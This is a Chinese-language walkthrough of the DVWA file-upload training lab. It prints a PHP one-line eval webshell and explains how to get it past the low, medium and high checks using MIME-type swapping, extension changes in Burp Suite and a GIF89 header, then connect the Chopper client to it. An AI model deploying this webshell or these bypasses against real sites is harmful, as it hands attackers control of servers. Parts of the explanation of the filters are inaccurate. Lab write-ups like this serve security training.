理论知识
我们首先了解一下一句话木马,一句话木马的代码一般为:
<?php @eval($_POST['upload']);?>eval()函数表示括号里的内容把他当做PHP语言执行,@的作用是后面的代码及时出错也不报错,这样可以不暴露我们的上传的参数(也就是upload),完后$_POST[‘upload’],upload在这里是一个全局变量,我们后期要执行的代码都要通过赋值给upload来执行。我们后期如果要用菜刀进行连接时,也需要把我们的全局变量(也就是upload)告诉菜刀。
一句话木马可以拿到网站的webshell(也就是后门),得到此权限我们就相当于拿到了网站服务器的管理权限。
文件上传漏洞就是系统可能没有对上传的文件进行过滤,导致上传的文件是木马文件或者其他恶意文件,所以靶场此关我们只要成功上传我们的一句话木马文件就算通关成功。
低级
先查看源码
$target_path = DVWA_WEB_PAGE_TO_ROOT . “hackable/uploads/”
DVWA_WEB_PAGE_TO_ROOT是网站的根目录,后面是进入根目录后要打开的文件路径,这一句就是定位文件上传目录的地方。
$target_path .= basename( $_FILES[ ‘uploaded’ ][ ‘name’ ] )
basename()函数返回路径中的文件名部分。
后面的代码意思就是将我们上传的文件放到他指定的文件夹
在低级难度中文件随便上传,先制作一个一句话木马文件
<?php @eval($_POST['upload']);?>
发现可直接上传成功,连接菜刀还有个条件就是我们必须知道我们的一句话木马文件在服务器具体哪个文件夹下,必须是绝对路径。
我们知道此网站的IP(也就是我们自己的电脑),而文件上传路径也在回显中提示了(红色的字),也就是说我们的木马文件路径是:127.0.0.1//hackable/uploads/test (2).txt
OK,万事俱备,连接菜刀(连接密码就是我们一句话木马代码中的POST后面递交的参数,也就是upload),连接过程就不具体展示了。
中级
查看源码
// File information
$uploaded_name = $_FILES[ ‘uploaded’ ][ ‘name’ ];
$uploaded_type = $_FILES[ ‘uploaded’ ][ ‘type’ ];
$uploaded_size = $_FILES[ ‘uploaded’ ][ ‘size’ ];
// Is it an image?
if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) &&
( $uploaded_size < 100000 ) ) {
多了这几行代码,前三行是获取上传文件的名字,类型,大小信息,后面是判断上传的文件是否是一个小于10000的图片文件(也就是后缀是否是jpeg)。
这里我们可以先将我们的木马文件后缀改为jpeg,上传时,在通过BP抓包将它的后缀改为PHP(我理解的是他这个过滤属于前端过滤,所以通过前端这一关后面再改回PHP就毫无影响了)
高级
老规矩先看源码
strtolower(string) // 函数把字符串转换为小写。 getimagesize() // 函数用于获取图像大小及相关信息
getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。所以我们上传的文件必须为图片类型。
针对这种防护,在文件头部加上jpg格式的GIF89,如图:
后期还是要抓包,更改后缀才能连接菜刀